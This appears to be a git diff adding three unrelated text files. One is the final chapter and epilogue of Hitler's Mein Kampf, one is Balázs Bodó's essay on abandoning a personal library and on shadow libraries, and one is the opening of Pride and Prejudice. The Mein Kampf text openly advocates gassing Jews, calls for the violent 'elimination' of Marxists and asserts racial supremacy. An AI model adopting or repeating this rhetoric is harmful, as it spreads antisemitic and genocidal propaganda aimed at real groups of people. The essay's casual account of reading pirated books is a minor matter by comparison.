+decision. But under the impression produced by the action which France +had taken, and during the time that it was being carried out, measures +could have been, and should have been, undertaken without any regard to +the Versailles Treaty, which France herself had violated, to provide +those military resources which would serve as a collateral argument to +back up the negotiations later on. For it was quite clear from the +beginning that the fate of this district occupied by the French would +one day be decided at some conference table or other. But it also must +have been quite to everybody that even the best negotiators could have +little success as long as the ground on which they themselves stood and +the chair on which they sat were not under the armed protection of their +own people. A weak pigmy cannot contend against athletes, and a +negotiator without any armed defence at his back must always bow in +obeisance when a Brennus throws the sword into the scales on the enemy's +side, unless an equally strong sword can be thrown into the scales at +the other end and thus maintain the balance. It was really distressing +to have to observe the comedy of negotiations which, ever since 1918, +regularly preceded each arbitrary dictate that the enemy imposed upon +us. We offered a sorry spectacle to the eyes of the whole world when we +were invited, for the sake of derision, to attend conference tables +simply to be presented with decisions and programmes which had already +been drawn up and passed a long time before, and which we were permitted +to discuss, but from the beginning had to be considered as unalterable. +It is true that in scarcely a single instance were our negotiators men +of more than mediocre abilities. For the most part they justified only +too well the insolent observation made by Lloyd George when he +sarcastically remarked, in the presence of a former Chancellor of the +REICH, Herr Simon, that the Germans were not able to choose men of +intelligence as their leaders and representatives. But in face of the +resolute determination and the power which the enemy held in his hands, +on the one side, and the lamentable impotence of Germany on the other, +even a body of geniuses could have obtained only very little for +Germany. + +In the spring of 1923, however, anyone who might have thought of seizing +the opportunity of the French invasion of the Ruhr to reconstruct the +military power of Germany would first have had to restore to the nation +its moral weapons, to reinforce its will-power, and to extirpate those +who had destroyed this most valuable element of national strength. + +Just as in 1918 we had to pay with our blood for the failure to crush +the Marxist serpent underfoot once and for all in 1914 and 1915, now we +have to suffer retribution for the fact that in the spring of 1923 we +did not seize the opportunity then offered us for finally wiping out the +handiwork done by the Marxists who betrayed their country and were +responsible for the murder of our people. + +Any idea of opposing French aggression with an efficacious resistance +was only pure folly as long as the fight had not been taken up against +those forces which, five years previously, had broken the German +resistance on the battlefields by the influences which they exercised at +home. Only bourgeois minds could have arrived at the incredible belief +that Marxism had probably become quite a different thing now and that +the CANAILLE of ringleaders in 1918, who callously used the bodies of +our two million dead as stepping-stones on which they climbed into the +various Government positions, would now, in the year 1923, suddenly show +themselves ready to pay their tribute to the national conscience. It was +veritably a piece of incredible folly to expect that those traitors +would suddenly appear as the champions of German freedom. They had no +intention of doing it. Just as a hyena will not leave its carrion, a +Marxist will not give up indulging in the betrayal of his country. It is +out of the question to put forward the stupid retort here, that so many +of the workers gave their blood for Germany. German workers, yes, but no +longer international Marxists. If the German working class, in 1914, +consisted of real Marxists the War would have ended within three weeks. +Germany would have collapsed before the first soldier had put a foot +beyond the frontiers. No. The fact that the German people carried on the +War proved that the Marxist folly had not yet been able to penetrate +deeply. But as the War was prolonged German soldiers and workers +gradually fell back into the hands of the Marxist leaders, and the +number of those who thus relapsed became lost to their country. At the +beginning of the War, or even during the War, if twelve or fifteen +thousand of these Jews who were corrupting the nation had been forced to +submit to poison-gas, just as hundreds of thousands of our best German +workers from every social stratum and from every trade and calling had +to face it in the field, then the millions of sacrifices made at the +front would not have been in vain. On the contrary: If twelve thousand +of these malefactors had been eliminated in proper time probably the +lives of a million decent men, who would be of value to Germany in the +future, might have been saved. But it was in accordance with bourgeois +'statesmanship' to hand over, without the twitch of an eyelid, millions +of human beings to be slaughtered on the battlefields, while they looked +upon ten or twelve thousand public traitors, profiteers, usurers and +swindlers, as the dearest and most sacred national treasure and +proclaimed their persons to be inviolable. Indeed it would be hard to +say what is the most outstanding feature of these bourgeois circles: +mental debility, moral weakness and cowardice, or a mere down-at-heel +mentality. It is a class that is certainly doomed to go under but, +unhappily, it drags down the whole nation with it into the abyss. + +The situation in 1923 was quite similar to that of 1918. No matter what +form of resistance was decided upon, the first prerequisite for taking +action was the elimination of the Marxist poison from the body of the +nation. And I was convinced that the first task then of a really +National Government was to seek and find those forces that were +determined to wage a war of destruction against Marxism and to give +these forces a free hand. It was their duty not to bow down before the +fetish of 'order and tranquillity' at a moment when the enemy from +outside was dealing the Fatherland a death-blow and when high treason +was lurking behind every street corner at home. No. A really National +Government ought then to have welcomed disorder and unrest if this +turmoil would afford an opportunity of finally settling with the +Marxists, who are the mortal enemies of our people. If this precaution +were neglected, then it was sheer folly to think of resisting, no matter +what form that resistance might take. + +Of course, such a settlement of accounts with the Marxists as would be +of real historical importance could not be effected along lines laid +down by some secret council or according to some plan concocted by the +shrivelled mind of some cabinet minister. It would have to be in +accordance with the eternal laws of life on this Earth which are and +will remain those of a ceaseless struggle for existence. It must always +be remembered that in many instances a hardy and healthy nation has +emerged from the ordeal of the most bloody civil wars, while from peace +conditions which had been artificially maintained there often resulted a +state of national putrescence that reeked to the skies. The fate of a +nation cannot be changed in kid gloves. And so in the year 1923 brutal +action should have been taken to stamp out the vipers that battened on +the body of the nation. If this were done, then the first prerequisite +for an active opposition would have been fulfilled. + +At that time I often talked myself hoarse in trying to make it clear, at +least to the so-called national circles, what was then at stake and that +by repeating the errors committed in 1914 and the following years we +must necessarily come to the same kind of catastrophe as in 1918. I +frequently implored of them to let Fate have a free hand and to make it +possible for our Movement to settle with the Marxists. But I preached to +deaf ears. They all thought they knew better, including the Chief of the +Defence Force, until finally they found themselves forced to subscribe +to the vilest capitulation that history records. + +I then became profoundly convinced that the German bourgeoisie had come +to the end of its mission and was not capable of fulfilling any further +function. And then also I recognized the fact that all the bourgeois +parties had been fighting Marxism merely from the spirit of competition +without sincerely wishing to destroy it. For a long time they had been +accustomed to assist in the destruction of their country, and their one +great care was to secure good seats at the funeral banquet. It was for +this alone that they kept on 'fighting'. + +At that time--I admit it openly--I conceived a profound admiration for +the great man beyond the Alps, whose ardent love for his people inspired +him not to bargain with Italy's internal enemies but to use all possible +ways and means in an effort to wipe them out. What places Mussolini in +the ranks of the world's great men is his decision not to share Italy +with the Marxists but to redeem his country from Marxism by destroying +internationalism. + +What miserable pigmies our sham statesmen in Germany appear by +comparison with him. And how nauseating it is to witness the conceit and +effrontery of these nonentities in criticizing a man who is a thousand +times greater than them. And how painful it is to think that this takes +place in a country which could point to a Bismarck as its leader as +recently as fifty years ago. + +The attitude adopted by the bourgeoisie in 1923 and the way in which +they dealt kindly with Marxism decided from the outset the fate of any +attempt at active resistance in the Ruhr. With that deadly enemy in our +own ranks it was sheer folly to think of fighting France. The most that +could then be done was to stage a sham fight in order to satisfy the +German national element to some extent, to tranquillize the 'boiling +state of the public mind', or dope it, which was what was really +intended. Had they really believed in what they did, they ought to have +recognized that the strength of a nation lies, first of all, not in its +arms but in its will, and that before conquering the external enemy the +enemy at home would have to be eliminated. If not, then disaster must +result if victory be not achieved on the very first day of the fight. +The shadow of one defeat is sufficient to break up the resistance of a +nation that has not been liberated from its internal enemies, and give +the adversary a decisive victory. + +In the spring of 1923 all this might have been predicted. It is useless +to ask whether it was then possible to count on a military success +against France. For if the result of the German action in regard to the +French invasion of the Ruhr had been only the destruction of Marxism at +home, success would have been on our side. Once liberated from the +deadly enemies of her present and future existence, Germany would +possess forces which no power in the world could strangle again. On the +day when Marxism is broken in Germany the chains that bind Germany will +be smashed for ever. For never in our history have we been conquered by +the strength of our outside enemies but only through our own failings +and the enemy in our own camp. + +Since it was not able to decide on such heroic action at that time, the +Government could have chosen the first way: namely, to allow things to +take their course and do nothing at all. + +But at that great moment Heaven made Germany a present of a great man. +This was Herr Cuno. He was neither a statesman nor a politician by +profession, still less a politician by birth. But he belonged to that +type of politician who is merely used for liGYMNASIUMating some definite +question. Apart from that, he had business experience. It was a curse +for Germany that, in the practice of politics, this business man looked +upon politics also as a business undertaking and regulated his conduct +accordingly. + +"France occupies the Ruhr. What is there in the Ruhr? Coal. And so +France occupies the Ruhr for the sake of its coal?" What could come more +naturally to the mind of Herr Cuno than the idea of a strike, which +would prevent the French from obtaining any coal? And therefore, in the +opinion of Herr Cuno, one day or other they would certainly have to get +out of the Ruhr again if the occupation did not prove to be a paying +business. Such were approximately the lines along which that OUTSTANDING +NATIONAL STATESMAN reasoned. At Stuttgart and other places he spoke to +'his people' and this people became lost in admiration for him. Of +course they needed the Marxists for the strike, because the workers +would have to be the first to go on strike. Now, in the brain of a +bourgeois statesman such as Cuno, a Marxist and a worker are one and the +same thing. Therefore it was necessary to bring the worker into line +with all the other Germans in a united front. One should have seen how +the countenances of these party politicians beamed with the light of +their moth-eaten bourgeois culture when the great genius spoke the word +of revelation to them. Here was a nationalist and also a man of genius. +At last they had discovered what they had so long sought. For now the +abyss between Marxism and themselves could be bridged over. And thus it +became possible for the pseudo-nationalist to ape the German manner and +adopt nationalist phraseology in reaching out the ingenuous hand of +friendship to the internationalist traitors of their country. The +traitor readily grasped that hand, because, just as Herr Cuno had need +of the Marxist chiefs for his 'united front', the Marxist chiefs needed +Herr Cuno's money. So that both parties mutually benefited by the +transaction. Cuno obtained his united front, constituted of nationalist +charlatans and international swindlers. And now, with the help of the +money paid to them by the State, these people were able to pursue their +glorious mission, which was to destroy the national economic system. It +was an immortal thought, that of saving a nation by means of a general +strike in which the strikers were paid by the State. It was a command +that could be enthusiastically obeyed by the most indifferent of +loafers. + +Everybody knows that prayers will not make a nation free. But that it is +possible to liberate a nation by giving up work has yet to be proved by +historical experience. Instead of promoting a paid general strike at +that time, and making this the basis of his 'united front', if Herr Cuno +had demanded two hours more work from every German, then the swindle of +the 'united front' would have been disposed of within three days. +Nations do not obtain their freedom by refusing to work but by making +sacrifices. + +Anyhow, the so-called passive resistance could not last long. Nobody but +a man entirely ignorant of war could imagine that an army of occupation +might be frightened and driven out by such ridiculous means. And yet +this could have been the only purpose of an action for which the country +had to pay out milliards and which contributed seriously to devaluate +the national currency. + +Of course the French were able to make themselves almost at home in the +Ruhr basin the moment they saw that such ridiculous measures were being +adopted against them. They had received the prescription directly from +ourselves of the best way to bring a recalcitrant civil population to a +sense of reason if its conduct implied a serious danger for the +officials which the army of occupation had placed in authority. Nine +years previously we wiped out with lightning rapidity bands of Belgian +FRANCS-TIREURS and made the civil population clearly understand the +seriousness of the situation, when the activities of these bands +threatened grave danger for the German army. In like manner if the +passive resistance of the Ruhr became really dangerous for the French, +the armies of occupation would have needed no more than eight days to +bring the whole piece of childish nonsense to a gruesome end. For we +must always go back to the original question in all this business: What +were we to do if the passive resistance came to the point where it +really got on the nerves of our opponents and they proceeded to suppress +it with force and bloodshed? Would we still continue to resist? If so, +then, for weal or woe, we would have to submit to a severe and bloody +persecution. And in that case we should be faced with the same situation +as would have faced us in the case of an active resistance. In other +words, we should have to fight. Therefore the so-called passive +resistance would be logical only if supported by the determination to +come out and wage an open fight in case of necessity or adopt a kind of +guerilla warfare. Generally speaking, one undertakes such a struggle +when there is a possibility of success. The moment a besieged fortress +is taken by assault there is no practical alternative left to the +defenders except to surrender, if instead of probable death they are +assured that their lives will be spared. Let the garrison of a citadel +which has been completely encircled by the enemy once lose all hope of +being delivered by their friends, then the strength of the defence +collapses totally. + +That is why passive resistance in the Ruhr, when one considers the final +consequences which it might and must necessarily have if it were to turn +out really successful, had no practical meaning unless an active front +had been organized to support it. Then one might have demanded immense +efforts from our people. If each of these Westphalians in the Ruhr could +have been assured that the home country had mobilized an army of eighty +or a hundred divisions to support them, the French would have found +themselves treading on thorns. Surely a greater number of courageous men +could be found to sacrifice themselves for a successful enterprise than +for an enterprise that was manifestly futile. + +This was the classic occasion that induced us National Socialists to +take up a resolute stand against the so-called national word of command. +And that is what we did. During those months I was attacked by people +whose patriotism was a mixture of stupidity and humbug and who took part +in the general hue and cry because of the pleasant sensation they felt +at being suddenly enabled to show themselves as nationalists, without +running any danger thereby. In my estimation, this despicable 'united +front' was one of the most ridiculous things that could be imagined. And +events proved that I was right. + +As soon as the Trades Unions had nearly filled their treasuries with +Cuno's contributions, and the moment had come when it would be necessary +to transform the passive resistance from a mere inert defence into +active aggression, the Red hyenas suddenly broke out of the national +sheepfold and returned to be what they always had been. Without sounding +any drums or trumpets, Herr Cuno returned to his ships. Germany was +richer by one experience and poorer by the loss of one great hope. + +Up to midsummer of that year several officers, who certainly were not +the least brave and honourable of their kind, had not really believed +that the course of things could take a turn that was so humiliating. +They had all hoped that--if not openly, then at least secretly--the +necessary measures would be taken to make this insolent French invasion +a turning-point in German history. In our ranks also there were many who +counted at least on the intervention of the REICHSWEHR. That conviction +was so ardent that it decisively influenced the conduct and especially +the training of innumerable young men. + +But when the disgraceful collapse set in and the most humiliating kind +of capitulation was made, indignation against such a betrayal of our +unhappy country broke out into a blaze. Millions of German money had +been spent in vain and thousands of young Germans had been sacrificed, +who were foolish enough to trust in the promises made by the rulers of +the REICH. Millions of people now became clearly convinced that Germany +could be saved only if the whole prevailing system were destroyed root +and branch. + +There never had been a more propitious moment for such a solution. On +the one side an act of high treason had been committed against the +country, openly and shamelessly. On the other side a nation found itself +delivered over to die slowly of hunger. Since the State itself had +trodden down all the precepts of faith and loyalty, made a mockery of +the rights of its citizens, rendered the sacrifices of millions of its +most loyal sons fruitless and robbed other millions of their last penny, +such a State could no longer expect anything but hatred from its +subjects. This hatred against those who had ruined the people and the +country was bound to find an outlet in one form or another. In this +connection I shall quote here the concluding sentence of a speech which +I delivered at the great court trial that took place in the spring of +1924. + +"The judges of this State may tranquilly condemn us for our conduct at +that time, but History, the goddess of a higher truth and a better legal +code, will smile as she tears up this verdict and will acquit us all of +the crime for which this verdict demands punishment." + +But History will then also summon before its own tribunal those who, +invested with power to-day, have trampled on law and justice, condemning +our people to misery and ruin, and who, in the hour of their country's +misfortune, took more account of their own ego than of the life of the +community. + +Here I shall not relate the course of events which led to November 8th, +1923, and closed with that date. I shall not do so because I cannot see +that this would serve any beneficial purpose in the future and also +because no good could come of opening old sores that have been just only +closed. Moreover, it would be out of place to talk about the guilt of +men who perhaps in the depths of their hearts have as much love for +their people as I myself, and who merely did not follow the same road as +I took or failed to recognize it as the right one to take. + +In the face of the great misfortune which has befallen our fatherland +and affects all us, I must abstain from offending and perhaps disuniting +those men who must at some future date form one great united front which +will be made up of true and loyal Germans and which will have to +withstand the common front presented by the enemy of our people. For I +know that a time will come when those who then treated us as enemies +will venerate the men who trod the bitter way of death for the sake of +their people. + +I have dedicated the first volume of this book to our eighteen fallen +heroes. Here at the end of this second volume let me again bring those +men to the memory of the adherents and champions of our ideals, as +heroes who, in the full consciousness of what they were doing, +sacrificed their lives for us all. We must never fail to recall those +names in order to encourage the weak and wavering among us when duty +calls, that duty which they fulfilled with absolute faith, even to its +extreme consequences. Together with those, and as one of the best of +all, I should like to mention the name of a man who devoted his life to +reawakening his and our people, through his writing and his ideas and +finally through positive action. I mean: Dietrich Eckart. + + + + +EPILOGUE + + + +On November 9th, 1923, four and a half years after its foundation, the +German National Socialist Labour Party was dissolved and forbidden +throughout the whole of the REICH. To-day, in November 1926, it is again +established throughout the REICH, enjoying full liberty, stronger and +internally more compact than ever before. + +All persecutions of the Movement and the individuals at its head, all +the imputations and calumnies, have not been able to prevail against it. +Thanks to the justice of its ideas, the integrity of its intentions and +the spirit of self-denial that animates its members, it has overcome all +oppression and increased its strength through the ordeal. If, in our +contemporary world of parliamentary corruption, our Movement remains +always conscious of the profound nature of its struggle and feels that +it personifies the values of individual personality and race, and orders +its action accordingly--then it may count with mathematical certainty on +achieving victory some day in the future. And Germany must necessarily +win the position which belongs to it on this Earth if it is led and +organized according to these principles. + +A State which, in an epoch of racial adulteration, devotes itself to the +duty of preserving the best elements of its racial stock must one day +become ruler of the Earth. + +The adherents of our Movements must always remember this, whenever they +may have misgivings lest the greatness of the sacrifices demanded of +them may not be justified by the possibilities of success. + + + +THE END diff --git a/own_nothing.txt b/own_nothing.txt new file mode 100644 index 0000000..d1ed24e --- /dev/null +++ b/own_nothing.txt @@ -0,0 +1,46 @@ +Own Nothing +Balázs Bodó + +Flow My Tears + +My tears cut deep grooves into the dust on my face. Drip, drip, drop, they hit the floor and disappear among the torn pages scattered on the floor. +This year it dawned on us that we cannot postpone it any longer: our personal library has to go. Our family moved countries more than half a decade ago, we switched cultures, languages, and chose another future. But the past, in the form of a few thousand books in our personal library, was still neatly stacked in our old apartment, patiently waiting, books that we bought and enjoyed — and forgot; books that we bought and never opened; books that we inherited from long-dead parents and half-forgotten friends. Some of them were important. Others were relevant at one point but no longer, yet they still reminded us who we once were. +When we moved, we took no more than two suitcases of personal belongings. The books were left behind. The library was like a sick child or an ailing parent, it hung over our heads like an unspoken threat, a curse. It was clear that sooner or later something had to be done about it, but none of the options available offered any consolation. It made no sense to move three thousand books to the other side of this continent. We decided to emigrate, and not to take our past with us, abandon the contexts we were fleeing from. We made a choice to leave behind the history, the discourses, the problems and the pain that accumulated in the books of our library. I knew exactly what it was I didn’t want to teach to my children once we moved. So we did not move the books. We pretended that we would never have to think about what this decision really meant. Up until today. This year we needed to empty the study with the shelves. So I’m standing in our library now, the dust covering my face, my hands, my clothes. In the middle of the floor there are three big crates and one small box. The small box swallows what we’ll ultimately take with us, the books I want to show to my son when he gets older, in case he still wants to read. One of the big crates will be taken away by the antiquarian. The other will be given to the school library next door. The third is the wastebasket, where everything else will ultimately go. +Drip, drip, drip, my tears flow as I throw the books into this last crate, drip, drip, drop. Sometimes I look at my partner, working next to me, and I can see on her face that she is going through the same emotions. I sometimes catch the sight of her trembling hand, hesitating for a split second where a book should ultimately go, whether we could, whether we should save that particular one, because... But we either save them all or we are as ruthless as all those millions of people throughout history, who had an hour to pack their two suitcases before they needed to leave. Do we truly need this book? Is this a book we’ll want to read? Is this book an inseparable part of our identity? Did we miss this book at all in the last five years? Is this a text I want to preserve for the future, for potential grandchildren who may not speak my mother tongue at all? What is the function of the book? What is the function of this particular book in my life? Why am I hesitating throwing it out? Why should I hesitate at all? Drop, drop, drop, a decision has been made. Drop, drop, drop, books are falling to the bottom of the crates. +We are killers, gutting our library. We are like the half-drown sailor, who got entangled in the ropes, and went down with the ship, and who now frantically tries to cut himself free from the detritus that prevents him to reach the freedom of the surface, the sunlight and the air. + +Own Nothing, Have Everything + +Do you remember Napster’s slogan after it went legit, trying to transform itself into a legal music service around 2005? ‘Own nothing, have everything’ – that was the headline that was supposed to sell legal streaming music. How stupid, I thought. How could you possibly think that lack of ownership would be a good selling point? What does it even mean to ‘have everything’ without ownership? And why on earth would not everyone want to own the most important constituents of their own self, their own identity? The things I read, the things I sing, make me who I am. Why wouldn’t I want to own these things? +How revolutionary this idea had been I reflected as I watched the local homeless folks filling up their sacks with the remains of my library. How happy I would be if I could have all this stuff I had just thrown away without actually having to own any of it. The proliferation of digital texts led me to believe that we won’t be needing dead wood libraries at all, at least no more than we need vinyl to listen to, or collect music. There might be geeks, collectors, specialists, who for one reason or another still prefer the physical form to the digital, but for the rest of us convenience, price, searchability, and all the other digital goodies give enough reason not to collect stuff that collects dust. +I was wrong to think that. I now realize that the future is not fully digital, it is more a physical-digital hybrid, in which the printed book is not simply an endangered species protected by a few devoted eccentrics who refuse to embrace the obvious advantages of a fully digital book future. What I see now is the emergence of a strange and shapeshifting-hybrid of diverse physical and electronic objects and practices, where the relative strengths and weaknesses of these different formats nicely complement each other. +This dawned on me after we had moved into an apartment without a bookshelf. I grew up in a flat that housed my parents’ extensive book collection. I knew the books by their cover and from time to time something made me want to take it from the shelf, open it and read it. This is how I discovered many of my favorite books and writers. With the e-reader, and some of the best shadow libraries at hand, I felt the same at first. I felt liberated. I could experiment without cost or risk, I could start—or stop—a book, I didn’t have to consider the cost of buying and storing a book that was ultimately not meant for me. I could enjoy the books without having to carry the burden and responsibility of ownership. +Did you notice how deleting an epub file gives you a different feeling than throwing out a book? You don’t have to feel guilty, you don’t have to feel anything at all. +So I was reading, reading, reading like never before. But at that time my son was too young to read, so I didn’t have to think about him, or anyone else besides myself. But as he was growing, it slowly dawned on me: without these physical books how will I be able to give him the same chance of serendipity, and of discovery, enchantment, and immersion that I got in my father’s library? And even later, what will I give him as his heritage? Son, look into this folder of PDFs: this is my legacy, your heritage, explore, enjoy, take pride in it? +Collections of anything, whether they are art, books, objects, people, are inseparable from the person who assembled that collection, and when that person is gone, the collection dies, as does the most important inroad to it: the will that created this particular order of things has passed away. But the heavy and unavoidable physicality of a book collection forces all those left behind to make an effort to approach, to force their way into, and try to navigate that garden of forking paths that is someone else’s library. Even if you ultimately get rid of everything, you have to introduce yourself to every book, and let every book introduce itself to you, so you know what you’re throwing out. Even if you’ll ultimately kill, you will need to look into the eyes of all your victims. +With a digital collection that’s, of course, not the case. +The e-book is ephemeral. It has little past and even less chance to preserve the fingerprints of its owners over time. It is impersonal, efficient, fast, abundant, like fast food or plastic, it flows through the hand like sand. It lacks the embodiment, the materiality which would give it a life in a temporal dimension. If you want to network the dead and the unborn, as is the ambition of every book, then you need to print and bind, and create heavy objects that are expensive, inefficient and a burden. This burden subsiding in the object is the bridge that creates the intergenerational dimension, that forces you to think of the value of a book. +Own nothing, have nothing. Own everything, and your children will hate you when you die. +I have to say, I’m struggling to find a new balance here. I started to buy books again, usually books that I’d already read from a stolen copy on-screen. I know what I want to buy, I know what is worth preserving. I know what I want to show to my son, what I want to pass on, what I would like to take care of over time. Before, book buying for me was an investment into a stranger. Now that thrill is gone forever. I measure up the merchandise well beforehand, I build an intimate relationship, we make love again and again, before moving in together. +It is certainly a new kind of relationship with the books I bought since I got my e-reader. I still have to come to terms with the fact that the books I bought this way are rarely opened, as I already know them, and their role is not to be read, but to be together. What do I buy, and what do I get? Temporal, existential security? The chance of serendipity, if not for me, then for the people around me? The reassuring materiality of the intimacy I built with these texts through another medium? +All of these and maybe more. But in any case, I sense that this library, the physical embodiment of a physical-electronic hybrid collection with its unopened books and overflowing e-reader memory cards, is very different from the library I had, and the library I’m getting rid of at this very moment. The library that I inherited, the library that grew organically from the detritus of the everyday, the library that accumulated books similar to how the books accumulated dust, as is the natural way of things, this library was full of unknowns, it was a library of potentiality, of opportunities, of trips waiting to happen. This new, hybrid library is a collection of things that I’m familiar with. I intimately know every piece, they hold little surprise, they offer few discoveries — at least for me. The exploration, the discovery, the serendipity, the pre-screening takes place on the e-reader, among the ephemeral, disposable PDFs and epubs. + +We Won + +This new hybrid model is based on the cheap availability of digital books. In my case, the free availability of pirated copies available through shadow libraries. These libraries don’t have everything on offer, but they have books in an order of magnitude larger than I’ll ever have the time and chance to read, so they offer enough, enough for me to fill up hard drives with books I want to read, or at least skim, to try, to taste. As if I moved into an infinite bookstore or library, where I can be as promiscuous, explorative, nomadic as I always wanted to be. I can flirt with books, I can have a quickie, or I can leave them behind without shedding a single tear. +I don’t know how this hybrid library, and this analogue-digital hybrid practice of reading and collecting would work without the shadow libraries which make everything freely accessible. I rely on their supply to test texts, and feed and grow my print library. E-books are cheaper than their print versions, but they still cost money, carry a risk, a cost of experimentation. Book-streaming, the flat-rate, the all-you-can-eat format of accessing books is at the moment only available to audiobooks, but rarely for e-books. I wonder why. +Did you notice that there are no major book piracy lawsuits? +Of course there is the lawsuit against Sci-Hub and Library Genesis in New York, and there is another one in Canada against aaaaarg, causing major nuisance to those who have been named in these cases. But this is almost negligible compared to the high profile wars the music and audiovisual industries waged against Napster, Grokster, Kazaa, megaupload and their likes. It is as if book publishers have completely given up on trying to fight piracy in the courts, and have launched a few lawsuits only to maintain the appearance that they still care about their digital copyrights. I wonder why. +I know the academic publishing industry slightly better than the mainstream popular fiction market, and I have the feeling that in the former copyright-based business models are slowly being replaced by something else. We see no major anti-piracy efforts from publishers, not because piracy is non-existent — on the contrary, it is global, and it is big — but because the publishers most probably realized that in the long run the copyright-based exclusivity model is unsustainable. The copyright wars of the last two decades taught them that law cannot put an end to piracy. As the Sci-Hub case demonstrates, you can win all you want in a New York court, but this has little real-world effect as long as the conditions that attract the users to the shadow libraries remain. +Exclusivity-based publishing business models are under assault from other sides as well. Mandated open access in the US and in the EU means that there is a quickly growing body of new research for the access of which publishers cannot charge money anymore. LibGen and Sci-Hub make it harder to charge for the back catalogue. Their sheer existence teaches millions on what uncurtailed open access really is, and makes it easier for university libraries to negotiate with publishers, as they don’t have to worry about their patrons being left without any access at all. +The good news is that radical open access may well be happening. It is a less and less radical idea to have things freely accessible. One has to be less and less radical to achieve the openness that has been long overdue. Maybe it is not yet obvious today and the victory is not yet universal, maybe it’ll take some extra years, maybe it won’t ever be evenly distributed, but it is obvious that this genie, these millions of books on everything from malaria treatments to critical theory, cannot be erased, and open access will not be undone, and the future will be free of access barriers. +Who is downloading books and articles? Everyone. Radical open access? We won, if you like. +Drip, drip, drop, its only nostalgia. My heart is light, as I don’t have to worry about gutting the library. Soon it won’t matter at all. + +We Are Not Winning at All + +But did we really win? If publishers are happy to let go of access control and copyright, it means that they’ve found something that is even more profitable than selling back to us academics the content that we have produced. And this more profitable something is of course data. Did you notice where all the investment in academic publishing went in the last decade? Did you notice SSRN, Mendeley, Academia.edu, ScienceDirect, research platforms, citation software, manuscript repositories, library systems being bought up by the academic publishing industry? All these platforms and technologies operate on and support open access content, while they generate data on the creation, distribution, and use of knowledge; on individuals, researchers, students, and faculty; on institutions, departments, and programs. They produce data on the performance, on the success and the failure of the whole domain of research and education. This is the data that is being privatized, enclosed, packaged, and sold back to us. +Taylorism reached academia. In the name of efficiency, austerity, and transparency, our daily activities are measured, profiled, packaged, and sold to the highest bidder. But in this process of quantification, knowledge on ourselves is lost for us, unless we pay. We still have some patchy datasets on what we do, on who we are, we still have this blurred reflection in the data-mirrors that we still do control. But this path of self-enlightenment is quickly waning as less and less data sources about us are freely available to us. +I strongly believe that information on the self is the foundation of self-determination. We need to have data on how we operate, on what we do in order to know who we are. This is what is being privatized away from the academic community, this is being taken away from us. +Radical open access. Not of content, but of the data about ourselves. This is the next challenge. We will digitize every page, by hand if we must, that process cannot be stopped anymore. No outside power can stop it and take that from us. Drip, drip, drop, this is what I console myself with, as another handful of books land among the waste. +But the data we lose now will not be so easy to reclaim. diff --git a/prideandprejudice.txt b/prideandprejudice.txt new file mode 100644 index 0000000..0a7d439 --- /dev/null +++ b/prideandprejudice.txt @@ -0,0 +1,13427 @@ +The Project Gutenberg EBook of Pride and Prejudice, by Jane Austen + +This eBook is for the use of anyone anywhere at no cost and with +almost no restrictions whatsoever. You may copy it, give it away or +re-use it under the terms of the Project Gutenberg License included +with this eBook or online at www.gutenberg.org + + +Title: Pride and Prejudice + +Author: Jane Austen + +Posting Date: August 26, 2008 [EBook #1342] +Release Date: June, 1998 +Last updated: February 15, 2015] + +Language: English + +Character set encoding: ASCII + +*** START OF THIS PROJECT GUTENBERG EBOOK PRIDE AND PREJUDICE *** + + + + +Produced by Anonymous Volunteers + + + + + +PRIDE AND PREJUDICE + +By Jane Austen + + + +Chapter 1 + + +It is a truth universally acknowledged, that a single man in possession +of a good fortune, must be in want of a wife. + +However little known the feelings or views of such a man may be on his +first entering a neighbourhood, this truth is so well fixed in the minds +of the surrounding families, that he is considered the rightful property +of some one or other of their daughters. + +"My dear Mr. Bennet," said his lady to him one day, "have you heard that +Netherfield Park is let at last?" + +Mr. Bennet replied that he had not. + +"But it is," returned she; "for Mrs. Long has just been here, and she +told me all about it." + +Mr. Bennet made no answer. + +"Do you not want to know who has taken it?" cried his wife impatiently. + +"_You_ want to tell me, and I have no objection to hearing it." + +This was invitation enough. + +"Why, my dear, you must know, Mrs. Long says that Netherfield is taken +by a young man of large fortune from the north of England; that he came +down on Monday in a chaise and four to see the place, and was so much +delighted with it, that he agreed with Mr. Morris immediately; that he +is to take possession before Michaelmas, and some of his servants are to +be in the house by the end of next week." + +"What is his name?" + +"Bingley." + +"Is he married or single?" + +"Oh! Single, my dear, to be sure! A single man of large fortune; four or +five thousand a year. What a fine thing for our girls!" + +"How so? How can it affect them?" + +"My dear Mr. Bennet," replied his wife, "how can you be so tiresome! You +must know that I am thinking of his marrying one of them." + +"Is that his design in settling here?" + +"Design! Nonsense, how can you talk so! But it is very likely that he +_may_ fall in love with one of them, and therefore you must visit him as +soon as he comes." + +"I see no occasion for that. You and the girls may go, or you may send +them by themselves, which perhaps will be still better, for as you are +as handsome as any of them, Mr. Bingley may like you the best of the +party." + +"My dear, you flatter me. I certainly _have_ had my share of beauty, but +I do not pretend to be anything extraordinary now. When a woman has five +grown-up daughters, she ought to give over thinking of her own beauty." + +"In such cases, a woman has not often much beauty to think of." + +"But, my dear, you must indeed go and see Mr. Bingley when he comes into +the neighbourhood." + +"It is more than I engage for, I assure you." + +"But consider your daughters. Only think what an establishment it would +be for one of them. Sir William and Lady Lucas are determined to +go, merely on that account, for in general, you know, they visit no +newcomers. Indeed you must go, for it will be impossible for _us_ to +visit him if you do not." + +"You are over-scrupulous, surely. I dare say Mr. Bingley will be very +glad to see you; and I will send a few lines by you to assure him of my +hearty consent to his marrying whichever he chooses of the girls; though +I must throw in a good word for my little Lizzy." + +"I desire you will do no such thing. Lizzy is not a bit better than the +others; and I am sure she is not half so handsome as Jane, nor half so +good-humoured as Lydia. But you are always giving _her_ the preference." + +"They have none of them much to recommend them," replied he; "they are +all silly and ignorant like other girls; but Lizzy has something more of +quickness than her sisters." + +"Mr. Bennet, how _can_ you abuse your own children in such a way? You +take delight in vexing me. You have no compassion for my poor nerves." + +"You mistake me, my dear. I have a high respect for your nerves. They +are my old friends. I have heard you mention them with consideration +these last twenty years at least." + +"Ah, you do not know what I suffer." + +"But I hope you will get over it, and live to see many young men of four +thousand a year come into the neighbourhood." + +"It will be no use to us, if twenty such should come, since you will not +visit them." + +"Depend upon it, my dear, that when there are twenty, I will visit them +all." + +Mr. Bennet was so odd a mixture of quick parts, sarcastic humour, +reserve, and caprice, that the experience of three-and-twenty years had +been insufficient to make his wife understand his character. _Her_ mind +was less difficult to develop. She was a woman of mean understanding, +little information, and uncertain temper. When she was discontented, +she fancied herself nervous. The business of her life was to get her +daughters married; its solace was visiting and news. + + + +Chapter 2 + + +Mr. Bennet was among the earliest of those who waited on Mr. Bingley. 